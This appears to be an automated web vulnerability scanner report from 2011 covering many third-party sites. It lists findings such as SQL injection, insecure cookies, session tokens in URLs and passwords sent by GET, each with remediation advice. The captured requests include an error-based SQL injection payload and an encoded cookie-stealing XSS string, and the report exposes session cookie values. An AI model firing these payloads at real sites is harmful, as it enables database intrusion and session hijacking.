GET /wps/portal/usa/rankings/individual HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... </div>
The request appears to contain SQL syntax. If this is incorporated into a SQL query and executed by the server, then the application is almost certainly vulnerable to SQL injection.
You should verify whether the request contains a genuine SQL query and whether this is being executed by the server.
Issue remediation
The application should not incorporate any user-controllable data directly into SQL queries. Parameterised queries (also known as prepared statements) should be used to safely insert data into predefined queries. In no circumstances should users be able to control or modify the structure of the SQL query itself.
Request
GET /careers.php?CategoryID=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&CareerID=17&SectionID=380 HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.nutter.com
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 23:17:04 GMT Server: Apache/1.3.41 Ben-SSL/1.59 (Unix) PHP/4.4.9 with Suhosin-Patch X-Powered-By: PHP/4.4.9 Content-Type: text/html Content-Length: 15724
<!-- careers start -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999 ...[SNIP]...
7. SSL cookie without secure flag setpreviousnext There are 7 instances of this issue:
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pages/Framework.aspx HTTP/1.1 Host: alumni.hhlaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 16:46:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=3ka3dnmbdxe55w2ny5xepdrz; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 7013
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>Hogan Lovells US LLP</title> <meta content="Microsoft Visual Studio 7.0" name="GENERATOR"> <meta con ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /mlalaw/default.asp HTTP/1.1 Host: ams-legal.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 18:05:39 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Pragma: no-cache cache-control: no-cache, no-store Content-Length: 403 Content-Type: text/html Expires: Wed, 19 Jan 2011 18:05:39 GMT Set-Cookie: ASPSESSIONIDSQSTRQAQ=MLHOICADDOFMEONODGIODFCK; path=/ Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>AMS Legal Collaborator</title> </head> <frameset rows="100%,0" border="0"> <frame name="MainPnl" src="Logi ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /gs/bookmark.aspx HTTP/1.1 Host: socialize.gigya.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 18:14:45 GMT Server: Microsoft-IIS/6.0 x-server: web503 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 X-XSS-Protection: 0 Set-Cookie: ASP.NET_SessionId=05xomq45nv3ltx55g0f2eb45; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 2076
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /socialize.login HTTP/1.1 Host: socialize.gigya.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /accounts/Logout HTTP/1.1 Host: google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /config/login HTTP/1.1 Host: login.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:20 GMT Set-Cookie: B=5u97cop6jea6g&b=3&s=jo; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Frame-Options: DENY Cache-Control: private Connection: close Content-Type: text/html Content-Length: 41558
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Sign in ...[SNIP]...
The following cookie was issued by the application and does not have the secure flag set:
lsd=FZCCx; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /logout.php?confirm=1&r= HTTP/1.1 Host: m.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://m.facebook.com/index.php?eu=6sinbSawgdrtjUBFpZJRIA P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=FZCCx; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 19 Jan 2011 18:09:29 GMT Content-Length: 0
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Request
GET /about_the_firm_recognition_rankings.cfm HTTP/1.1 Host: www.arnoldporter.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=41801191; __utmz=248117591.1295449755.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263646; __utma=248117591.1964504674.1295449755.1295449755.1295449755.1; __utmc=248117591; __utmb=248117591.1.10.1295449755; sifrFetch=true;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:27:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
<html> <head>
<title>Arnold & Porter LLP</title> <meta name="Description" content="Arnold & ...[SNIP]... </em> named <a href="http://www.arnoldporter.com/professionals.cfm?u=AntonipillaiJustinS&action=view&id=420&CFID=9488352&CFTOKEN=58883300">Justin Antonipillai</a> ...[SNIP]... </em> ranked Arnold & Porter as a leading law firm for International Arbitration and Capital Markets. The publication also ranked the following lawyers as "Leading Individuals": <a href="http://www.arnoldporter.com/professionals.cfm?u=DiRosaPaolo&action=view&id=967&CFID=9488352&CFTOKEN=58883300">Paolo Di Rosa</a> and <a href="http://www.arnoldporter.com/professionals.cfm?u=GehringFloresGaelaK&action=view&id=968&CFID=9488352&CFTOKEN=58883300">Gaela Gehring Flores</a> for International Arbitration; <a href="http://www.arnoldporter.com/professionals.cfm?u=HarringtonGregory&action=view&id=946&CFID=9488352&CFTOKEN=58883300">Gregory Harrington</a> and <a href="http://www.arnoldporter.com/professionals.cfm?u=StumpfMarkH&action=view&id=116&CFID=9488352&CFTOKEN=58883300">Mark Stumpf</a> ...[SNIP]... </em> named Arnold & Porter antitrust partner <a href="http://www.arnoldporter.com/professionals.cfm?u=FeinsteinDeborahL&action=view&id=29&CFID=3285218&CFTOKEN=60209382">Deborah Feinstein</a> ...[SNIP]... </em> annual Awards Ceremony in London on June 22nd. The team, led by London partners <a href="http://www.arnoldporter.com/professionals.cfm?u=FrazerTim&action=view&id=277&CFID=2238313&CFTOKEN=85690966">Tim Frazer</a> and <a href="http://www.arnoldporter.com/professionals.cfm?u=HinchliffeSusan&action=view&id=234&CFID=2238313&CFTOKEN=85690966">Susan Hinchliffe</a> ...[SNIP]... <p>Attorney General Eric Holder presented Arnold & Porter counsel <a href="http://www.arnoldporter.com/professionals.cfm?u=PitofskyRobert&action=view&id=424&CFID=1875550&CFTOKEN=71164531">Robert Pitofsky</a> ...[SNIP]... </a> and <a href="http://www.arnoldporter.com/professionals.cfm?u=DregerGingerR&action=view&id=5423&CFID=476026&CFTOKEN=73240865">Ginger Dreger</a> ...[SNIP]... </em> named Arnold & Porter partner <a href="http://www.arnoldporter.com/professionals.cfm?u=BaerWilliam&action=view&id=289&CFID=417833&CFTOKEN=96803455">William Baer</a> ...[SNIP]... </a> and <a href="http://www.arnoldporter.com/professionals.cfm?u=RubelEricA&action=view&id=96&CFID=15574942&CFTOKEN=53050326">Eric Rubel</a> ...[SNIP]... </em> named <a href="http://www.arnoldporter.com/professionals.cfm?u=BaerWilliam&action=view&id=289&CFID=8038589&CFTOKEN=38448975">William Baer</a> ...[SNIP]... </a> the "Washington, DC Bankruptcy and Creditor-Debtor Rights Lawyer of the Year"; <a href="http://www.arnoldporter.com/professionals.cfm?u=GerrardMichaelB&action=view&id=189&CFID=8038589&CFTOKEN=38448975">Michael Gerrard</a> the "New York Environmental Lawyer of the Year" and <a href="http://www.arnoldporter.com/professionals.cfm?u=HawkeJohnDJr&action=view&id=716&CFID=8038589&CFTOKEN=38448975">John D. Hawke Jr.</a> ...[SNIP]... ife sciences: regulatory, compliance & competition; and product liability: mainly defendant; and was ranked as a "Leading Firm" for intellectual property and media & entertainment: publishing. <a href="http://www.arnoldporter.com/professionals.cfm?u=DoddsSmithIan&action=view&id=457&CFID=8038589&CFTOKEN=38448975">Ian Dodds-Smith</a> ...[SNIP]... </a> was ranked for life sciences and product liability; <a href="http://www.arnoldporter.com/professionals.cfm?u=TsangLincoln&action=view&id=553&CFID=8038589&CFTOKEN=38448975">Lincoln Tsang</a> was ranked for life sciences; <a href="http://www.arnoldporter.com/professionals.cfm?u=KirbyIan&action=view&id=320&CFID=8038589&CFTOKEN=38448975">Ian Kirby</a> ...[SNIP]... </a>, <a href="http://www.arnoldporter.com/professionals.cfm?u=DriverHElizabeth&action=view&id=435&CFID=8038589&CFTOKEN=38448975">Elizabeth Driver</a>, and <a href="http://www.arnoldporter.com/professionals.cfm?u=BoreJacqueline&action=view&id=799&CFID=8038589&CFTOKEN=38448975">Jacqueline Bore</a> were ranked for product liability; <a href="http://www.arnoldporter.com/professionals.cfm?u=FrazerTim&action=view&id=277&CFID=8038589&CFTOKEN=38448975">Tim Frazer</a> was ranked for competition/European Law; <a href="http://www.arnoldporter.com/professionals.cfm?u=ClintonDavisHenry&action=view&id=5083&CFID=8038589&CFTOKEN=38448975">Henry Clinton-Davis</a> was ranked for employment; and <a href="http://www.arnoldporter.com/professionals.cfm?u=WillcocksJeremy&action=view&id=378&CFID=8038589&CFTOKEN=38448975">Jeremy Willcocks</a> ...[SNIP]... </em> In terms of practice areas, the group certainly enjoys a diverse caseload, although it is in the field of investment arbitration that it earns the most significant praise." The publication named <a href="http://www.arnoldporter.com/professionals.cfm?u=DiRosaPaolo&action=view&id=967&CFID=793238&CFTOKEN=19009463">Paolo Di Rosa</a> as a "Leading Individual" for International Arbitration and also singled out <a href="http://www.arnoldporter.com/professionals.cfm?u=GehringFloresGaelaK&action=view&id=968&CFID=793238&CFTOKEN=19009463">Gaela Gehring Flores</a> and <a href="http://www.arnoldporter.com/professionals.cfm?u=KalickiJeanEngelmayer&action=view&id=254&CFID=793238&CFTOKEN=19009463">Jean Kalicki</a> ...[SNIP]... </em> 2009 named firm Chair <a href="http://www.arnoldporter.com/professionals.cfm?u=MilchThomasH&action=view&id=79&CFID=793238&CFTOKEN=19009463">Thomas Milch</a> and senior counsel <a href="http://www.arnoldporter.com/professionals.cfm?u=GerrardMichaelB&action=view&id=189&CFID=793238&CFTOKEN=19009463">Michael Gerrard</a> on its "Most Highly Regarded Individuals - Global" list. Arnold & Porter was the only firm to have two individuals ranked on the list of ten international lawyers. Partners <a href="http://www.arnoldporter.com/professionals.cfm?u=BilesBlakeA&action=view&id=8&CFID=793238&CFTOKEN=19009463">Blake Biles</a> ...[SNIP]... </a>, <a href="http://www.arnoldporter.com/professionals.cfm?u=MartelJonathan&action=view&id=74&CFID=793238&CFTOKEN=19009463">Jonathan Martel</a>, <a href="http://www.arnoldporter.com/professionals.cfm?u=NardiKarenJ&action=view&id=5263&CFID=793238&CFTOKEN=19009463">Karen Nardi</a>, and <a href="http://www.arnoldporter.com/professionals.cfm?u=NorrisTrentonH&action=view&id=5056&CFID=793238&CFTOKEN=19009463">Trenton Norris</a> ...[SNIP]... ual property, media and entertainment, and pharmaceuticals and biotechnology); and transport (rail). The firm was also ranked as a "US firm in London" for Dual US/UK law capability: 25-50 fee-earners. <a href="http://www.arnoldporter.com/professionals.cfm?u=DoddsSmithIan&action=view&id=457&CFID=793238&CFTOKEN=19009463">Ian Dodds-Smith</a> was named a "leading individual" for product liability and pharmaceuticals & biotechnology; and <a href="http://www.arnoldporter.com/professionals.cfm?u=KirbyIan&action=view&id=320&CFID=793238&CFTOKEN=19009463">Ian Kirby</a> ...[SNIP]... </em> "Top Washington Lawyers" feature, published in its September 18-24, 2009 edition. <a href="http://www.arnoldporter.com/professionals.cfm?u=GehringFloresGaelaK&action=view&id=968&CFID=793238&CFTOKEN=19009463">Gaela Gehring Flores</a> ...[SNIP]... </a>; <a href="http://www.arnoldporter.com/professionals.cfm?u=KahnSarahE&action=view&id=99&CFID=793238&CFTOKEN=19009463">Sarah Kahn</a> was named a winner for Corporate M&A; <a href="http://www.arnoldporter.com/professionals.cfm?u=GerschDavidP&action=view&id=37&CFID=793238&CFTOKEN=19009463">David Gersch</a> ...[SNIP]... </a> was named a winner for Technology Transactions; <a href="http://www.arnoldporter.com/professionals.cfm?u=RifkindAmyB&action=view&id=231&CFID=793238&CFTOKEN=19009463">Amy Rifkind</a> was named as a winner for Real Estate Transactions; and <a href="http://www.arnoldporter.com/professionals.cfm?u=SotskyLester&action=view&id=111&CFID=793238&CFTOKEN=19009463">Les Sotsky</a> ...[SNIP]... <p><a href="http://www.arnoldporter.com/professionals.cfm?u=FeinsteinDeborahL&action=view&id=29&CFID=793238&CFTOKEN=19009463">Deborah Feinstein</a> ...[SNIP]... </a> (Brussels) and <a href="http://www.arnoldporter.com/professionals.cfm?u=VanKerckhoveMarleen&action=view&id=616&CFID=793238&CFTOKEN=19009463">Marleen Van Kerckhove</a> ...[SNIP]... <p>The New York City Bar Association's (NYCBA) has named <a href="http://www.arnoldporter.com/professionals.cfm?u=FucciFrederickR&action=view&id=4980&CFID=793238&CFTOKEN=19009463">Frederick R. Fucci</a> ...[SNIP]... </em> 2009 list: <a href="http://www.arnoldporter.com/professionals.cfm?u=GargantaAngelA&action=view&id=5055&CFID=793238&CFTOKEN=19009463">Angel Garganta</a> (business litigation, civil litigation defense, and banking), <a href="http://www.arnoldporter.com/professionals.cfm?u=NardiKarenJ&action=view&id=5263&CFID=793238&CFTOKEN=19009463">Karen Nardi</a> (environmental), <a href="http://www.arnoldporter.com/professionals.cfm?u=NorrisTrentonH&action=view&id=5056&CFID=793238&CFTOKEN=19009463">Trenton Norris</a> ...[SNIP]... </a> (intellectual property litigation, civil rights/first amendment, and alternative dispute resolution). <a href="http://www.arnoldporter.com/professionals.cfm?u=ChaninRachelL&action=view&id=5095&CFID=793238&CFTOKEN=19009463">Rachel Chanin</a> ...[SNIP]... </em> named <a href="http://www.arnoldporter.com/professionals.cfm?u=HawkeJohnDJr&action=view&id=716&CFID=793238&CFTOKEN=19009463">John D. Hawke, Jr.</a> ...[SNIP]... <p>The Internal Revenue Service's Advisory Committee on Tax Exempt and Government Entities (ACT) named <a href="http://www.arnoldporter.com/professionals.cfm?u=JosephJamesP&action=view&id=53&CFID=793238&CFTOKEN=19009463">James Joseph</a> ...[SNIP]... p>Arnold & Porter was recommended in England for IP: commercial IP and IP: non-patent litigation; was recommended in Washington, DC for IP; and was recognized in England for IP: patent litigation. <a href="http://www.arnoldporter.com/professionals.cfm?u=DickinsonRichard&action=view&id=5050&CFID=793238&CFTOKEN=19009463">Richard Dickinson</a> was recognized for IP: commercial IP (England); <a href="http://www.arnoldporter.com/professionals.cfm?u=KirbyIan&action=view&id=320&CFID=793238&CFTOKEN=19009463">Ian Kirby</a> ...[SNIP]... </em> named <a href="http://www.arnoldporter.com/professionals.cfm?u=JohnstonRonaldL&action=view&id=306&CFID=793238&CFTOKEN=19009463">Ronald Johnston</a> ...[SNIP]... <p>The National Asian Pacific American Bar Association (NAPABA) named San Francisco partner <a href="http://www.arnoldporter.com/professionals.cfm?u=AgarwalMonty&action=view&id=5058&CFID=793238&CFTOKEN=19009463">Monty Agarwal</a> ...[SNIP]... </em> named <a href="http://www.arnoldporter.com/professionals.cfm?u=MorrisSean&action=view&id=263&CFID=793238&CFTOKEN=19009463">Sean Morris</a> ...[SNIP]... <p>The Executive Council of the Banking Law Committee of the Federal Bar Association awarded <a href="http://www.arnoldporter.com/attorneys.cfm?u=HawkeJohnDJr&action=view&id=716&CFID=6662351&CFTOKEN=25960794">John D. Hawke, Jr.</a> ...[SNIP]... </em> named <a href="http://www.arnoldporter.com/professionals.cfm?u=ColleyMarkD&action=view&id=913&CFID=793238&CFTOKEN=19009463">Mark Colley</a> ...[SNIP]... </em> named <a href="http://www.arnoldporter.com/professionals.cfm?u=GoodwinMichaelD&action=view&id=163&CFID=793238&CFTOKEN=19009463">Michael Goodwin</a> ...[SNIP]... </em>awarded partner <a href="http://www.arnoldporter.com/professionals.cfm?u=BaerWilliam&action=view&id=289&CFID=793238&CFTOKEN=19009463">William Baer</a> ...[SNIP]... </em>named <a href="http://www.arnoldporter.com/professionals.cfm?u=GarrettRobertAlan&action=view&id=36&CFID=793238&CFTOKEN=19009463">Robert Garrett</a> ...[SNIP]... </em> named <a href="http://www.arnoldporter.com/professionals.cfm?u=BlackburnJamesS&action=view&id=301&CFID=793238&CFTOKEN=19009463">James Blackburn</a> ...[SNIP]... </em> named <a href="http://www.arnoldporter.com/professionals.cfm?u=MacdonaldTimothyR&action=view&id=279&CFID=793238&CFTOKEN=19009463">Timothy Macdonald</a> ...[SNIP]... </em> named <a href="http://www.arnoldporter.com/attorneys.cfm?u=QuinnJohnJ&action=view&id=225&CFID=6160598&CFTOKEN=81825356">John "Jack" Quinn</a> ...[SNIP]...
9. Password field submitted using GET methodpreviousnext There are 5 instances of this issue:
The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passords into the URL increases the risk that they will be captured by an attacker.
Issue remediation
All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.
GET /magazines/fortune/bestcompanies/2010/snapshots/65.html HTTP/1.1 Host: money.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:12 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=60, private Expires: Wed, 19 Jan 2011 15:26:12 GMT Content-Type: text/html Vary: Accept-Encoding,User-Agent Connection: close Content-Length: 75163
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>100 Best Companies to Work For 2010: Arnold & Porter - from FORTUNE</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-c ...[SNIP]... <!-- start login --> <form onsubmit="return false;" id="cnnMoneyConnectFormLogin" class="overlay_content"> <a href="javascript:void(0)" class="close"> ...[SNIP]... </p> <input class="" id="passwordinput" name="password" type="password"> <div id="cnnConnectLoginErrors" style="display: none;"> ...[SNIP]...
GET /magazines/fortune/bestcompanies/2010/snapshots/65.html HTTP/1.1 Host: money.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:12 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=60, private Expires: Wed, 19 Jan 2011 15:26:12 GMT Content-Type: text/html Vary: Accept-Encoding,User-Agent Connection: close Content-Length: 75163
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>100 Best Companies to Work For 2010: Arnold & Porter - from FORTUNE</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-c ...[SNIP]... <!-- start reset password --> <form id="cnnConnectFormReset" class="overlay_content"> <a href="javascript:void(0)" class="close"> ...[SNIP]... </p> <input type="password" id="new_password" name="newPassword"> <div id="cnnConnectResetErrors"> ...[SNIP]...
GET /magazines/fortune/bestcompanies/2010/snapshots/65.html HTTP/1.1 Host: money.cnn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:25:12 GMT Server: Apache Accept-Ranges: bytes Cache-Control: max-age=60, private Expires: Wed, 19 Jan 2011 15:26:12 GMT Content-Type: text/html Vary: Accept-Encoding,User-Agent Connection: close Content-Length: 75163
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>100 Best Companies to Work For 2010: Arnold & Porter - from FORTUNE</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-c ...[SNIP]... <!-- start registration --> <form onsubmit="return false;" id="cnnConnectFormRegister" class="overlay_content"> <a href="javascript:void(0)" class="close"> ...[SNIP]... </p> <input id="signup_password" name="password" maxlength="10" type="password" /> <span class="fieldTip"> ...[SNIP]...
The page contains a form with the following action URL, which is submitted using the GET method:
http://www.local.com/results.aspx
The form contains the following password field:
password
Request
GET /results.aspx HTTP/1.1 Host: www.local.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted using the GET method:
http://www.vault.com/wps/portal/usa/membership
The form contains the following password fields:
UserPassword
UserConfirm
Request
GET /wps/portal/usa/rankings/individual HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... </div>
The ViewState is a mechanism built in to the ASP.NET platform for persisting elements of the user interface and other data across successive requests. The data to be persisted is serialised by the server and transmitted via a hidden form field. When it is POSTed back to the server, the ViewState parameter is deserialised and the data is retrieved.
By default, the serialised value is signed by the server to prevent tampering by the user; however, this behaviour can be disabled by setting the Page.EnableViewStateMac property to false. If this is done, then an attacker can modify the contents of the ViewState and cause arbitrary data to be deserialised and processed by the server. If the ViewState contains any items that are critical to the server's processing of the request, then this may result in a security exposure.
You should review the contents of the deserialised ViewState to determine whether it contains any critical items that can be manipulated to attack the application.
Issue remediation
There is no good reason to disable the default ASP.NET behaviour in which the ViewState is signed to prevent tampering. To ensure that this occurs, you should set the Page.EnableViewStateMac property to true on any pages where the ViewState is not currently signed.
GET /promotions/signup.aspx HTTP/1.1 Host: join.kazaa.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Wed, 19 Jan 2011 18:08:42 GMT Connection: close Content-Length: 27386
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head>
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://www.cov.com/zh-CN/offices/office.aspx?office=64">here</a>.</h2> </body></html>
<!DOCTYPE HTML PUBLIC "-/ ...[SNIP]... <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUJOTM2OTAxODQ2ZGQ=" /> ...[SNIP]...
11. Cookie scoped to parent domainpreviousnext There are 109 instances of this issue:
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /index.cfm?fuseaction=user.retrievepassword HTTP/1.1 Host: collect.myspace.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://secure.myspace.com/index.cfm?fuseaction=user.resetPasswordRequest">here</a>.</h2> </body></html>
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /infomaster/widgets?wid=pt&qkwid1=qkw&submitid1=sqkw HTTP/1.1 Host: wsdsapi.infospace.com Proxy-Connection: keep-alive Referer: http://www.info.com/washington%20dc%20law%20firms2ee2d%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e72356283334 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
SESS2e53cd66881dc1b0eb8079878b7a4286=7h750c8v714umuj2jedt5gf3l1; expires=Fri, 11 Feb 2011 18:41:30 GMT; path=/; domain=.childrenslawcenter.org
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.childrenslawcenter.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
